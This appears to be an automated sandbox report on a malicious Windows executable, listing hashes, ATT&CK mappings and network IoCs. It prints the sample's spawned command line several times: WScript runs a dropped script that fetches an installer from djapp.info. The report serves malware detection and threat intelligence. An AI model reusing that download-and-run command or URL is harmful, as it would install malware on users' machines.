ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392

General

Target

ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe
Size

184KB
MD5

65581fc7f5238699c9b29a5973c303c5
SHA1

607344aae2b74031936459ee9d5a08988c2c79b8
SHA256

ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392
SHA512

c3610570e1e74cb87ab1f4704a2de91d46eb90b21653ab4d6bdaa03e1b8a7f36c55ece7ecb53ab7ba2fcb5a61018ebd0c0e0c17ea6370fd2ee82ba8d0f7138a9
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3yr:/7BSH8zUB+nGESaaRvoB7FJNndnP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 10 IoCs

flow	pid	Process
2	1360	WScript.exe
5	1360	WScript.exe
6	1564	WScript.exe
8	1564	WScript.exe
9	560	WScript.exe
11	560	WScript.exe
13	1928	WScript.exe
15	1928	WScript.exe
16	1612	WScript.exe
18	1612	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1012 wrote to memory of 1360	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	28
PID 1012 wrote to memory of 1360	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	28
PID 1012 wrote to memory of 1360	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	28
PID 1012 wrote to memory of 1360	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	28
PID 1012 wrote to memory of 1564	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	31
PID 1012 wrote to memory of 1564	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	31
PID 1012 wrote to memory of 1564	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	31
PID 1012 wrote to memory of 1564	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	31
PID 1012 wrote to memory of 560	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	32
PID 1012 wrote to memory of 560	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	32
PID 1012 wrote to memory of 560	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	32
PID 1012 wrote to memory of 560	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	32
PID 1012 wrote to memory of 1928	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	34
PID 1012 wrote to memory of 1928	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	34
PID 1012 wrote to memory of 1928	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	34
PID 1012 wrote to memory of 1928	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	34
PID 1012 wrote to memory of 1612	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	35
PID 1012 wrote to memory of 1612	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	35
PID 1012 wrote to memory of 1612	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	35
PID 1012 wrote to memory of 1612	1012	ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe	35

C:\Users\Admin\AppData\Local\Temp\ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe
"C:\Users\Admin\AppData\Local\Temp\ab6e019af9ad228190c46dee5036e3c84dc792afe3db8e90c837e7d66f909392.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1012
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF2.js" http://www.djapp.info/?domain=twKIrMBJBw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF2.exe
  2⤵
  - Blocklisted process makes network request
  PID:1360
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF2.js" http://www.djapp.info/?domain=twKIrMBJBw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF2.exe
  2⤵
  - Blocklisted process makes network request
  PID:1564
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF2.js" http://www.djapp.info/?domain=twKIrMBJBw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF2.exe
  2⤵
  - Blocklisted process makes network request
  PID:560
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF2.js" http://www.djapp.info/?domain=twKIrMBJBw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF2.exe
  2⤵
  - Blocklisted process makes network request
  PID:1928
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3CF2.js" http://www.djapp.info/?domain=twKIrMBJBw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3CF2.exe
  2⤵
  - Blocklisted process makes network request
  PID:1612

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3CF2.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\AB88DNGL.txt

Filesize
100B

MD5
1c2595113956708bb665cfe8f409b11d

SHA1
49d127a9c1cf23d285ec84b81a36d9d9dee9b0e7

SHA256
07246ab5dfe3efcb056190d03575714c01fea95b14f0571beabb1dff723c598b

SHA512
78e57207ab58a611779fd87c6f1a2100580a57c9a5a85a418ed92067400807a3366d168603eb7b4253943a88ec88099becf40fc82822f26fd01a9fb3ecb1c715

Download Submit
memory/1012-54-0x00000000763F1000-0x00000000763F3000-memory.dmp

Filesize
8KB

Download

Analysis

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